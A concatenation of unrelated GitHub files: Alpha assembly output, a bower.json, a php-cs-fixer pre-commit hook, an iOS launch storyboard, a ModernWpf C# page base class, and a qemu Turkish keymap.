ldq $26,48($sp)
lda $sp,128($sp)
ret
.end f4
.globl f5
.text
.ent f5
f5:
ldgp $gp,0($27)
lda $sp,-64($sp)
.frame $sp,64,$26,48
.prologue 1
ldl $27,k
ldl $25,m
ldq $22,A
mull $27,$25,$8
sll $8,8*(8-4),$8
sra $8,8*(8-4),$8
sll $8,3,$8
addq $8,$22,$8
ldl $7,j
mull $7,$25,$25
sll $25,8*(8-4),$25
sra $25,8*(8-4),$25
sll $25,3,$25
addq $25,$22,$25
ldl $22,n
ldq $6,B
mull $27,$22,$27
sll $27,8*(8-4),$27
sra $27,8*(8-4),$27
sll $27,3,$27
addq $27,$6,$27
mull $7,$22,$22
sll $22,8*(8-4),$22
sra $22,8*(8-4),$22
sll $22,3,$22
addq $22,$6,$22
ldt $f30,($8)
ldt $f29,($25)
mult $f30,$f29,$f30
ldt $f29,($27)
ldt $f28,($22)
mult $f29,$f28,$f29
addt $f30,$f29,$f30
stt $f30,x
ldt $f30,($8)
ldt $f29,($22)
mult $f30,$f29,$f30
ldt $f29,($27)
ldt $f28,($25)
mult $f29,$f28,$f29
subt $f30,$f29,$f30
stt $f30,x
mov $31,$0
L.16:
lda $sp,64($sp)
ret
.end f5
.globl x
.comm x,8
.globl B
.comm B,8
.globl A
.comm A,8
.globl n
.comm n,4
.globl m
.comm m,4
.globl k
.comm k,4
.globl j
.comm j,4
.globl i
.comm i,4
.globl b
.comm b,80
.globl a
.comm a,80
.rdata
.align 3
L.15:
.long 0x0
.long 0x0
| {
"pile_set_name": "Github"
} |
{
"name": "wcstamp",
"homepage": "https://github.com/jcgregorio/stamp",
"authors": [
"Joe Gregorio <[email protected]>"
],
"description": "A fast and simple templating library using the web components 'template' element.",
"main": "src/stamp.js",
"moduleType": [],
"keywords": [
"webcomponents",
"template"
],
"license": "Apache 2.0",
"ignore": [
"**/.*",
"node_modules",
"bower_components",
"test",
"tests"
]
}
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env bash
ROOT=$(git rev-parse --show-toplevel)
echo "php-cs-fixer pre commit hook start"
PHP_CS_FIXER="bin/php-cs-fixer"
HAS_PHP_CS_FIXER=false
if [ -x $PHP_CS_FIXER ]; then
HAS_PHP_CS_FIXER=true
fi
if $HAS_PHP_CS_FIXER; then
# Fix changed (indexed) files
$PHP_CS_FIXER fix --config=$ROOT/.php_cs --verbose --using-cache=no $(git diff --cached --name-only)
# Add the changes from CS Fixer back to the git index:
git add $(git diff --cached --name-only)
else
echo ""
echo "Please install php-cs-fixer, e.g.:"
echo ""
echo " composer require --dev friendsofphp/php-cs-fixer"
echo ""
fi
echo "php-cs-fixer pre commit hook finish"
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="12121" systemVersion="16G29" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" launchScreen="YES" colorMatched="YES" initialViewController="01J-lp-oVM">
<dependencies>
<deployment identifier="iOS"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="12089"/>
</dependencies>
<scenes>
<!--View Controller-->
<scene sceneID="EHf-IW-A2E">
<objects>
<viewController id="01J-lp-oVM" sceneMemberID="viewController">
<layoutGuides>
<viewControllerLayoutGuide type="top" id="Ydg-fD-yQy"/>
<viewControllerLayoutGuide type="bottom" id="xbc-2k-c8Z"/>
</layoutGuides>
<view key="view" contentMode="scaleToFill" id="Ze5-6b-2t3">
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews>
<imageView opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" image="LaunchImage" translatesAutoresizingMaskIntoConstraints="NO" id="YRO-k0-Ey4">
</imageView>
</subviews>
<color key="backgroundColor" red="1" green="1" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
<constraints>
<constraint firstItem="YRO-k0-Ey4" firstAttribute="centerX" secondItem="Ze5-6b-2t3" secondAttribute="centerX" id="1a2-6s-vTC"/>
<constraint firstItem="YRO-k0-Ey4" firstAttribute="centerY" secondItem="Ze5-6b-2t3" secondAttribute="centerY" id="4X2-HB-R7a"/>
</constraints>
</view>
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="iYj-Kq-Ea1" userLabel="First Responder" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="53" y="375"/>
</scene>
</scenes>
<resources>
<image name="LaunchImage" width="168" height="185"/>
</resources>
</document>
| {
"pile_set_name": "Github"
} |
//*********************************************************
//
// Copyright (c) Microsoft. All rights reserved.
// THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF
// ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY
// IMPLIED WARRANTIES OF FITNESS FOR A PARTICULAR
// PURPOSE, MERCHANTABILITY, OR NON-INFRINGEMENT.
//
//*********************************************************
using ModernWpf.Controls;
using SamplesCommon;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Windows.Controls;
using GridView = ModernWpf.Controls.GridView;
using Page = ModernWpf.Controls.Page;
namespace ModernWpf.SampleApp
{
public abstract class ItemsPageBase : Page, INotifyPropertyChanged
{
public event PropertyChangedEventHandler PropertyChanged;
private string _itemId;
private IEnumerable<ControlInfoDataItem> _items;
public IEnumerable<ControlInfoDataItem> Items
{
get { return _items; }
set { SetProperty(ref _items, value); }
}
/// <summary>
/// Gets a value indicating whether the application's view is currently in "narrow" mode - i.e. on a mobile-ish device.
/// </summary>
protected virtual bool GetIsNarrowLayoutState()
{
throw new NotImplementedException();
}
/*protected void OnItemGridViewContainerContentChanging(ListViewBase sender, ContainerContentChangingEventArgs args)
{
if (sender.ContainerFromItem(sender.Items.LastOrDefault()) is GridViewItem container)
{
container.XYFocusDown = container;
}
}*/
/*protected void OnItemGridViewItemClick(object sender, ItemClickEventArgs e)
{
var gridView = (GridView)sender;
var item = (ControlInfoDataItem)e.ClickedItem;
_itemId = item.UniqueId;
if (gridView.ContainerFromItem(item) is GridViewItem)
{
gridView.PrepareConnectedAnimation("controlAnimation", item, "controlRoot");
}
this.Frame.Navigate(typeof(ItemPage), _itemId);
}*/
/*protected void OnItemGridViewKeyDown(object sender, KeyRoutedEventArgs e)
{
if (e.Key == VirtualKey.Up)
{
var nextElement = FocusManager.FindNextElement(FocusNavigationDirection.Up);
if (nextElement?.GetType() == typeof(Microsoft.UI.Xaml.Controls.NavigationViewItem))
{
NavigationRootPage.Current.PageHeader.Focus(FocusState.Programmatic);
}
else
{
FocusManager.TryMoveFocus(FocusNavigationDirection.Up);
}
}
}*/
/*protected async void OnItemGridViewLoaded(object sender, RoutedEventArgs e)
{
if (_itemId != null)
{
var gridView = (GridView)sender;
var items = gridView.ItemsSource as IEnumerable<ControlInfoDataItem>;
var item = items?.FirstOrDefault(s => s.UniqueId == _itemId);
if (item != null)
{
gridView.ScrollIntoView(item);
if (NavigationRootPage.Current.IsFocusSupported)
{
((GridViewItem)gridView.ContainerFromItem(item))?.Focus(FocusState.Programmatic);
}
ConnectedAnimation animation = ConnectedAnimationService.GetForCurrentView().GetAnimation("controlAnimation");
if (animation != null)
{
// Setup the "basic" configuration if the API is present.
if (ApiInformation.IsApiContractPresent("Windows.Foundation.UniversalApiContract", 7))
{
animation.Configuration = new BasicConnectedAnimationConfiguration();
}
await gridView.TryStartConnectedAnimationAsync(animation, item, "controlRoot");
}
}
}
}*/
/*protected void OnItemGridViewSizeChanged(object sender, SizeChangedEventArgs e)
{
var gridView = (GridView)sender;
if (gridView.ItemsPanelRoot is ItemsWrapGrid wrapGrid)
{
if (GetIsNarrowLayoutState())
{
wrapGrid.ItemWidth = gridView.ActualWidth - gridView.Padding.Left - gridView.Padding.Right;
}
else
{
wrapGrid.ItemWidth = double.NaN;
}
}
}*/
protected bool SetProperty<T>(ref T storage, T value, [CallerMemberName] string propertyName = null)
{
if (Equals(storage, value)) return false;
storage = value;
NotifyPropertyChanged(propertyName);
return true;
}
protected void NotifyPropertyChanged([CallerMemberName] string propertyName = null)
{
PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));
}
}
}
| {
"pile_set_name": "Github"
} |
#
# generated by qemu-keymap
# model : pc105
# layout : tr
# variant : -
# options : -
# name: "Turkish"
# modifiers
# 0: Shift
# 1: Lock
# 2: Control
# 3: Mod1
# 4: Mod2
# 5: Mod3
# 6: Mod4
# 7: Mod5
# 8: NumLock
# 9: Alt
# 10: LevelThree
# 11: LAlt
# 12: RAlt
# 13: RControl
# 14: LControl
# 15: ScrollLock
# 16: LevelFive
# 17: AltGr
# 18: Meta
# 19: Super
# 20: Hyper
# evdev 1 (0x1), QKeyCode "esc", number 0x1
Escape 0x01
# evdev 2 (0x2), QKeyCode "1", number 0x2
1 0x02
exclam 0x02 shift
greater 0x02 altgr
exclamdown 0x02 shift altgr
# evdev 3 (0x3), QKeyCode "2", number 0x3
2 0x03
apostrophe 0x03 shift
sterling 0x03 altgr
twosuperior 0x03 shift altgr
# evdev 4 (0x4), QKeyCode "3", number 0x4
3 0x04
asciicircum 0x04 shift
numbersign 0x04 altgr
threesuperior 0x04 shift altgr
# evdev 5 (0x5), QKeyCode "4", number 0x5
4 0x05
plus 0x05 shift
dollar 0x05 altgr
onequarter 0x05 shift altgr
# evdev 6 (0x6), QKeyCode "5", number 0x6
5 0x06
percent 0x06 shift
onehalf 0x06 altgr
threeeighths 0x06 shift altgr
# evdev 7 (0x7), QKeyCode "6", number 0x7
6 0x07
ampersand 0x07 shift
threequarters 0x07 altgr
VoidSymbol 0x07 shift altgr
# evdev 8 (0x8), QKeyCode "7", number 0x8
7 0x08
slash 0x08 shift
braceleft 0x08 altgr
VoidSymbol 0x08 shift altgr
# evdev 9 (0x9), QKeyCode "8", number 0x9
8 0x09
parenleft 0x09 shift
bracketleft 0x09 altgr
VoidSymbol 0x09 shift altgr
# evdev 10 (0xa), QKeyCode "9", number 0xa
9 0x0a
parenright 0x0a shift
bracketright 0x0a altgr
plusminus 0x0a shift altgr
# evdev 11 (0xb), QKeyCode "0", number 0xb
0 0x0b
equal 0x0b shift
braceright 0x0b altgr
degree 0x0b shift altgr
# evdev 12 (0xc), QKeyCode "minus", number 0xc
asterisk 0x0c
question 0x0c shift
backslash 0x0c altgr
questiondown 0x0c shift altgr
# evdev 13 (0xd), QKeyCode "equal", number 0xd
minus 0x0d
underscore 0x0d shift
bar 0x0d altgr
VoidSymbol 0x0d shift altgr
# evdev 14 (0xe), QKeyCode "backspace", number 0xe
BackSpace 0x0e
# evdev 15 (0xf), QKeyCode "tab", number 0xf
Tab 0x0f
ISO_Left_Tab 0x0f shift
# evdev 16 (0x10), QKeyCode "q", number 0x10
q 0x10
Q 0x10 shift
at 0x10 altgr
Greek_OMEGA 0x10 shift altgr
# evdev 17 (0x11), QKeyCode "w", number 0x11
w 0x11
W 0x11 shift
VoidSymbol 0x11 altgr
# evdev 18 (0x12), QKeyCode "e", number 0x12
e 0x12
E 0x12 shift
EuroSign 0x12 altgr
VoidSymbol 0x12 shift altgr
# evdev 19 (0x13), QKeyCode "r", number 0x13
r 0x13
R 0x13 shift
paragraph 0x13 altgr
registered 0x13 shift altgr
# evdev 20 (0x14), QKeyCode "t", number 0x14
t 0x14
T 0x14 shift
U20BA 0x14 altgr
VoidSymbol 0x14 shift altgr
# evdev 21 (0x15), QKeyCode "y", number 0x15
y 0x15
Y 0x15 shift
leftarrow 0x15 altgr
yen 0x15 shift altgr
# evdev 22 (0x16), QKeyCode "u", number 0x16
u 0x16
U 0x16 shift
ucircumflex 0x16 altgr
Ucircumflex 0x16 shift altgr
# evdev 23 (0x17), QKeyCode "i", number 0x17
idotless 0x17
I 0x17 shift
icircumflex 0x17 altgr
Icircumflex 0x17 shift altgr
# evdev 24 (0x18), QKeyCode "o", number 0x18
o 0x18
O 0x18 shift
ocircumflex 0x18 altgr
Ocircumflex 0x18 shift altgr
# evdev 25 (0x19), QKeyCode "p", number 0x19
p 0x19
P 0x19 shift
VoidSymbol 0x19 altgr
# evdev 26 (0x1a), QKeyCode "bracket_left", number 0x1a
gbreve 0x1a
Gbreve 0x1a shift
dead_diaeresis 0x1a altgr
dead_abovering 0x1a shift altgr
# evdev 27 (0x1b), QKeyCode "bracket_right", number 0x1b
udiaeresis 0x1b
Udiaeresis 0x1b shift
asciitilde 0x1b altgr
dead_macron 0x1b shift altgr
# evdev 28 (0x1c), QKeyCode "ret", number 0x1c
Return 0x1c
# evdev 29 (0x1d), QKeyCode "ctrl", number 0x1d
Control_L 0x1d
# evdev 30 (0x1e), QKeyCode "a", number 0x1e
a 0x1e
A 0x1e shift
acircumflex 0x1e altgr
Acircumflex 0x1e shift altgr
# evdev 31 (0x1f), QKeyCode "s", number 0x1f
s 0x1f
S 0x1f shift
section 0x1f altgr
VoidSymbol 0x1f shift altgr
# evdev 32 (0x20), QKeyCode "d", number 0x20
d 0x20
D 0x20 shift
VoidSymbol 0x20 altgr
# evdev 33 (0x21), QKeyCode "f", number 0x21
f 0x21
F 0x21 shift
ordfeminine 0x21 altgr
VoidSymbol 0x21 shift altgr
# evdev 34 (0x22), QKeyCode "g", number 0x22
g 0x22
G 0x22 shift
VoidSymbol 0x22 altgr
# evdev 35 (0x23), QKeyCode "h", number 0x23
h 0x23
H 0x23 shift
VoidSymbol 0x23 altgr
# evdev 36 (0x24), QKeyCode "j", number 0x24
j 0x24
J 0x24 shift
dead_hook 0x24 altgr
dead_horn 0x24 shift altgr
# evdev 37 (0x25), QKeyCode "k", number 0x25
k 0x25
K 0x25 shift
VoidSymbol 0x25 altgr
# evdev 38 (0x26), QKeyCode "l", number 0x26
l 0x26
L 0x26 shift
VoidSymbol 0x26 altgr
# evdev 39 (0x27), QKeyCode "semicolon", number 0x27
scedilla 0x27
Scedilla 0x27 shift
acute 0x27 altgr
dead_acute 0x27 shift altgr
# evdev 40 (0x28), QKeyCode "apostrophe", number 0x28
i 0x28
Iabovedot 0x28 shift
apostrophe 0x28 altgr
dead_caron 0x28 shift altgr
# evdev 41 (0x29), QKeyCode "grave_accent", number 0x29
quotedbl 0x29
eacute 0x29 shift
less 0x29 altgr
degree 0x29 shift altgr
# evdev 42 (0x2a), QKeyCode "shift", number 0x2a
Shift_L 0x2a
# evdev 43 (0x2b), QKeyCode "backslash", number 0x2b
comma 0x2b
semicolon 0x2b shift
grave 0x2b altgr
dead_grave 0x2b shift altgr
# evdev 44 (0x2c), QKeyCode "z", number 0x2c
z 0x2c
Z 0x2c shift
guillemotleft 0x2c altgr
less 0x2c shift altgr
# evdev 45 (0x2d), QKeyCode "x", number 0x2d
x 0x2d
X 0x2d shift
guillemotright 0x2d altgr
greater 0x2d shift altgr
# evdev 46 (0x2e), QKeyCode "c", number 0x2e
c 0x2e
C 0x2e shift
cent 0x2e altgr
copyright 0x2e shift altgr
# evdev 47 (0x2f), QKeyCode "v", number 0x2f
v 0x2f
V 0x2f shift
leftdoublequotemark 0x2f altgr
leftsinglequotemark 0x2f shift altgr
# evdev 48 (0x30), QKeyCode "b", number 0x30
b 0x30
B 0x30 shift
rightdoublequotemark 0x30 altgr
rightsinglequotemark 0x30 shift altgr
# evdev 49 (0x31), QKeyCode "n", number 0x31
n 0x31
N 0x31 shift
# evdev 50 (0x32), QKeyCode "m", number 0x32
m 0x32
M 0x32 shift
mu 0x32 altgr
masculine 0x32 shift altgr
# evdev 51 (0x33), QKeyCode "comma", number 0x33
odiaeresis 0x33
Odiaeresis 0x33 shift
multiply 0x33 altgr
VoidSymbol 0x33 shift altgr
# evdev 52 (0x34), QKeyCode "dot", number 0x34
ccedilla 0x34
Ccedilla 0x34 shift
periodcentered 0x34 altgr
division 0x34 shift altgr
# evdev 53 (0x35), QKeyCode "slash", number 0x35
period 0x35
colon 0x35 shift
dead_abovedot 0x35 altgr
# evdev 54 (0x36), QKeyCode "shift_r", number 0x36
Shift_R 0x36
# evdev 55 (0x37), QKeyCode "kp_multiply", number 0x37
KP_Multiply 0x37
# evdev 56 (0x38), QKeyCode "alt", number 0x38
Alt_L 0x38
Meta_L 0x38 shift
# evdev 57 (0x39), QKeyCode "spc", number 0x39
space 0x39
# evdev 58 (0x3a), QKeyCode "caps_lock", number 0x3a
Caps_Lock 0x3a
# evdev 59 (0x3b), QKeyCode "f1", number 0x3b
F1 0x3b
# evdev 60 (0x3c), QKeyCode "f2", number 0x3c
F2 0x3c
# evdev 61 (0x3d), QKeyCode "f3", number 0x3d
F3 0x3d
# evdev 62 (0x3e), QKeyCode "f4", number 0x3e
F4 0x3e
# evdev 63 (0x3f), QKeyCode "f5", number 0x3f
F5 0x3f
# evdev 64 (0x40), QKeyCode "f6", number 0x40
F6 0x40
# evdev 65 (0x41), QKeyCode "f7", number 0x41
F7 0x41
# evdev 66 (0x42), QKeyCode "f8", number 0x42
F8 0x42
# evdev 67 (0x43), QKeyCode "f9", number 0x43
F9 0x43
# evdev 68 (0x44), QKeyCode "f10", number 0x44
F10 0x44
# evdev 69 (0x45), QKeyCode "num_lock", number 0x45
Num_Lock 0x45
# evdev 70 (0x46), QKeyCode "scroll_lock", number 0x46
Scroll_Lock 0x46
# evdev 71 (0x47), QKeyCode "kp_7", number 0x47
KP_Home 0x47
KP_7 0x47 numlock
# evdev 72 (0x48), QKeyCode "kp_8", number 0x48
KP_Up 0x48
KP_8 0x48 numlock
# evdev 73 (0x49), QKeyCode "kp_9", number 0x49
KP_Prior 0x49
KP_9 0x49 numlock
# evdev 74 (0x4a), QKeyCode "kp_subtract", number 0x4a
KP_Subtract 0x4a
# evdev 75 (0x4b), QKeyCode "kp_4", number 0x4b
KP_Left 0x4b
KP_4 0x4b numlock
# evdev 76 (0x4c), QKeyCode "kp_5", number 0x4c
KP_Begin 0x4c
KP_5 0x4c numlock
# evdev 77 (0x4d), QKeyCode "kp_6", number 0x4d
KP_Right 0x4d
KP_6 0x4d numlock
# evdev 78 (0x4e), QKeyCode "kp_add", number 0x4e
KP_Add 0x4e
# evdev 79 (0x4f), QKeyCode "kp_1", number 0x4f
KP_End 0x4f
KP_1 0x4f numlock
# evdev 80 (0x50), QKeyCode "kp_2", number 0x50
KP_Down 0x50
KP_2 0x50 numlock
# evdev 81 (0x51), QKeyCode "kp_3", number 0x51
KP_Next 0x51
KP_3 0x51 numlock
# evdev 82 (0x52), QKeyCode "kp_0", number 0x52
KP_Insert 0x52
KP_0 0x52 numlock
# evdev 83 (0x53), QKeyCode "kp_decimal", number 0x53
KP_Delete 0x53
KP_Separator 0x53 numlock
# evdev 84 (0x54): no evdev -> QKeyCode mapping (xkb keysym ISO_Level3_Shift)
# evdev 85 (0x55): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 86 (0x56), QKeyCode "less", number 0x56
less 0x56
greater 0x56 shift
bar 0x56 altgr
brokenbar 0x56 shift altgr
# evdev 87 (0x57), QKeyCode "f11", number 0x57
F11 0x57
# evdev 88 (0x58), QKeyCode "f12", number 0x58
F12 0x58
# evdev 89 (0x59), QKeyCode "ro", number 0x73
# evdev 90 (0x5a): no evdev -> QKeyCode mapping (xkb keysym Katakana)
# evdev 91 (0x5b), QKeyCode "hiragana", number 0x77
Hiragana 0x77
# evdev 92 (0x5c), QKeyCode "henkan", number 0x79
Henkan_Mode 0x79
# evdev 93 (0x5d), QKeyCode "katakanahiragana", number 0x70
Hiragana_Katakana 0x70
# evdev 94 (0x5e), QKeyCode "muhenkan", number 0x7b
Muhenkan 0x7b
# evdev 95 (0x5f): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 96 (0x60), QKeyCode "kp_enter", number 0x9c
KP_Enter 0x9c
# evdev 97 (0x61), QKeyCode "ctrl_r", number 0x9d
Control_R 0x9d
# evdev 98 (0x62), QKeyCode "kp_divide", number 0xb5
KP_Divide 0xb5
# evdev 99 (0x63), QKeyCode "sysrq", number 0x54
Print 0x54
# evdev 100 (0x64), QKeyCode "alt_r", number 0xb8
ISO_Level3_Shift 0xb8
# evdev 101 (0x65), QKeyCode "lf", number 0x5b
Linefeed 0x5b
# evdev 102 (0x66), QKeyCode "home", number 0xc7
Home 0xc7
# evdev 103 (0x67), QKeyCode "up", number 0xc8
Up 0xc8
# evdev 104 (0x68), QKeyCode "pgup", number 0xc9
Prior 0xc9
# evdev 105 (0x69), QKeyCode "left", number 0xcb
Left 0xcb
# evdev 106 (0x6a), QKeyCode "right", number 0xcd
Right 0xcd
# evdev 107 (0x6b), QKeyCode "end", number 0xcf
End 0xcf
# evdev 108 (0x6c), QKeyCode "down", number 0xd0
Down 0xd0
# evdev 109 (0x6d), QKeyCode "pgdn", number 0xd1
Next 0xd1
# evdev 110 (0x6e), QKeyCode "insert", number 0xd2
Insert 0xd2
# evdev 111 (0x6f), QKeyCode "delete", number 0xd3
Delete 0xd3
# evdev 112 (0x70): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 113 (0x71), QKeyCode "audiomute", number 0xa0
XF86AudioMute 0xa0
# evdev 114 (0x72), QKeyCode "volumedown", number 0xae
XF86AudioLowerVolume 0xae
# evdev 115 (0x73), QKeyCode "volumeup", number 0xb0
XF86AudioRaiseVolume 0xb0
# evdev 116 (0x74), QKeyCode "power", number 0xde
XF86PowerOff 0xde
# evdev 117 (0x75), QKeyCode "kp_equals", number 0x59
KP_Equal 0x59
# evdev 118 (0x76): no evdev -> QKeyCode mapping (xkb keysym plusminus)
# evdev 119 (0x77), QKeyCode "pause", number 0xc6
Pause 0xc6
# evdev 120 (0x78): no evdev -> QKeyCode mapping (xkb keysym XF86LaunchA)
# evdev 121 (0x79), QKeyCode "kp_comma", number 0x7e
KP_Decimal 0x7e
# evdev 122 (0x7a): no evdev -> QKeyCode mapping (xkb keysym Hangul)
# evdev 123 (0x7b): no evdev -> QKeyCode mapping (xkb keysym Hangul_Hanja)
# evdev 124 (0x7c), QKeyCode "yen", number 0x7d
# evdev 125 (0x7d), QKeyCode "meta_l", number 0xdb
Super_L 0xdb
# evdev 126 (0x7e), QKeyCode "meta_r", number 0xdc
Super_R 0xdc
# evdev 127 (0x7f), QKeyCode "compose", number 0xdd
Menu 0xdd
# evdev 128 (0x80), QKeyCode "stop", number 0xe8
Cancel 0xe8
# evdev 129 (0x81), QKeyCode "again", number 0x85
Redo 0x85
# evdev 130 (0x82), QKeyCode "props", number 0x86
SunProps 0x86
# evdev 131 (0x83), QKeyCode "undo", number 0x87
Undo 0x87
# evdev 132 (0x84), QKeyCode "front", number 0x8c
SunFront 0x8c
# evdev 133 (0x85), QKeyCode "copy", number 0xf8
XF86Copy 0xf8
# evdev 134 (0x86), QKeyCode "open", number 0x64
XF86Open 0x64
# evdev 135 (0x87), QKeyCode "paste", number 0x65
XF86Paste 0x65
# evdev 136 (0x88), QKeyCode "find", number 0xc1
Find 0xc1
# evdev 137 (0x89), QKeyCode "cut", number 0xbc
XF86Cut 0xbc
# evdev 138 (0x8a), QKeyCode "help", number 0xf5
Help 0xf5
# evdev 139 (0x8b), QKeyCode "menu", number 0x9e
XF86MenuKB 0x9e
# evdev 140 (0x8c), QKeyCode "calculator", number 0xa1
XF86Calculator 0xa1
# evdev 141 (0x8d): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 142 (0x8e), QKeyCode "sleep", number 0xdf
XF86Sleep 0xdf
# evdev 143 (0x8f), QKeyCode "wake", number 0xe3
XF86WakeUp 0xe3
# evdev 144 (0x90): no evdev -> QKeyCode mapping (xkb keysym XF86Explorer)
# evdev 145 (0x91): no evdev -> QKeyCode mapping (xkb keysym XF86Send)
# evdev 146 (0x92): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 147 (0x93): no evdev -> QKeyCode mapping (xkb keysym XF86Xfer)
# evdev 148 (0x94): no evdev -> QKeyCode mapping (xkb keysym XF86Launch1)
# evdev 149 (0x95): no evdev -> QKeyCode mapping (xkb keysym XF86Launch2)
# evdev 150 (0x96): no evdev -> QKeyCode mapping (xkb keysym XF86WWW)
# evdev 151 (0x97): no evdev -> QKeyCode mapping (xkb keysym XF86DOS)
# evdev 152 (0x98): no evdev -> QKeyCode mapping (xkb keysym XF86ScreenSaver)
# evdev 153 (0x99): no evdev -> QKeyCode mapping (xkb keysym XF86RotateWindows)
# evdev 154 (0x9a): no evdev -> QKeyCode mapping (xkb keysym XF86TaskPane)
# evdev 155 (0x9b), QKeyCode "mail", number 0xec
XF86Mail 0xec
# evdev 156 (0x9c), QKeyCode "ac_bookmarks", number 0xe6
XF86Favorites 0xe6
# evdev 157 (0x9d), QKeyCode "computer", number 0xeb
XF86MyComputer 0xeb
# evdev 158 (0x9e), QKeyCode "ac_back", number 0xea
XF86Back 0xea
# evdev 159 (0x9f), QKeyCode "ac_forward", number 0xe9
XF86Forward 0xe9
# evdev 160 (0xa0): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 161 (0xa1): no evdev -> QKeyCode mapping (xkb keysym XF86Eject)
# evdev 162 (0xa2): no evdev -> QKeyCode mapping (xkb keysym XF86Eject)
# evdev 163 (0xa3), QKeyCode "audionext", number 0x99
XF86AudioNext 0x99
# evdev 164 (0xa4), QKeyCode "audioplay", number 0xa2
XF86AudioPlay 0xa2
XF86AudioPause 0xa2 shift
# evdev 165 (0xa5), QKeyCode "audioprev", number 0x90
XF86AudioPrev 0x90
# evdev 166 (0xa6), QKeyCode "audiostop", number 0xa4
XF86AudioStop 0xa4
XF86Eject 0xa4 shift
# evdev 167 (0xa7): no evdev -> QKeyCode mapping (xkb keysym XF86AudioRecord)
# evdev 168 (0xa8): no evdev -> QKeyCode mapping (xkb keysym XF86AudioRewind)
# evdev 169 (0xa9): no evdev -> QKeyCode mapping (xkb keysym XF86Phone)
# evdev 170 (0xaa): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 171 (0xab): no evdev -> QKeyCode mapping (xkb keysym XF86Tools)
# evdev 172 (0xac), QKeyCode "ac_home", number 0xb2
XF86HomePage 0xb2
# evdev 173 (0xad), QKeyCode "ac_refresh", number 0xe7
XF86Reload 0xe7
# evdev 174 (0xae): no evdev -> QKeyCode mapping (xkb keysym XF86Close)
# evdev 175 (0xaf): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 176 (0xb0): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 177 (0xb1): no evdev -> QKeyCode mapping (xkb keysym XF86ScrollUp)
# evdev 178 (0xb2): no evdev -> QKeyCode mapping (xkb keysym XF86ScrollDown)
# evdev 179 (0xb3): no evdev -> QKeyCode mapping (xkb keysym parenleft)
# evdev 180 (0xb4): no evdev -> QKeyCode mapping (xkb keysym parenright)
# evdev 181 (0xb5): no evdev -> QKeyCode mapping (xkb keysym XF86New)
# evdev 182 (0xb6): no evdev -> QKeyCode mapping (xkb keysym Redo)
# evdev 183 (0xb7): no evdev -> QKeyCode mapping (xkb keysym XF86Tools)
# evdev 184 (0xb8): no evdev -> QKeyCode mapping (xkb keysym XF86Launch5)
# evdev 185 (0xb9): no evdev -> QKeyCode mapping (xkb keysym XF86Launch6)
# evdev 186 (0xba): no evdev -> QKeyCode mapping (xkb keysym XF86Launch7)
# evdev 187 (0xbb): no evdev -> QKeyCode mapping (xkb keysym XF86Launch8)
# evdev 188 (0xbc): no evdev -> QKeyCode mapping (xkb keysym XF86Launch9)
# evdev 189 (0xbd): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 190 (0xbe): no evdev -> QKeyCode mapping (xkb keysym XF86AudioMicMute)
# evdev 191 (0xbf): no evdev -> QKeyCode mapping (xkb keysym XF86TouchpadToggle)
# evdev 192 (0xc0): no evdev -> QKeyCode mapping (xkb keysym XF86TouchpadOn)
# evdev 193 (0xc1): no evdev -> QKeyCode mapping (xkb keysym XF86TouchpadOff)
# evdev 194 (0xc2): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 195 (0xc3): no evdev -> QKeyCode mapping (xkb keysym Mode_switch)
# evdev 196 (0xc4): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 197 (0xc5): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 198 (0xc6): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 199 (0xc7): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 200 (0xc8): no evdev -> QKeyCode mapping (xkb keysym XF86AudioPlay)
# evdev 201 (0xc9): no evdev -> QKeyCode mapping (xkb keysym XF86AudioPause)
# evdev 202 (0xca): no evdev -> QKeyCode mapping (xkb keysym XF86Launch3)
# evdev 203 (0xcb): no evdev -> QKeyCode mapping (xkb keysym XF86Launch4)
# evdev 204 (0xcc): no evdev -> QKeyCode mapping (xkb keysym XF86LaunchB)
# evdev 205 (0xcd): no evdev -> QKeyCode mapping (xkb keysym XF86Suspend)
# evdev 206 (0xce): no evdev -> QKeyCode mapping (xkb keysym XF86Close)
# evdev 207 (0xcf): no evdev -> QKeyCode mapping (xkb keysym XF86AudioPlay)
# evdev 208 (0xd0): no evdev -> QKeyCode mapping (xkb keysym XF86AudioForward)
# evdev 209 (0xd1): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 210 (0xd2): no evdev -> QKeyCode mapping (xkb keysym Print)
# evdev 211 (0xd3): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 212 (0xd4): no evdev -> QKeyCode mapping (xkb keysym XF86WebCam)
# evdev 213 (0xd5): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 214 (0xd6): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
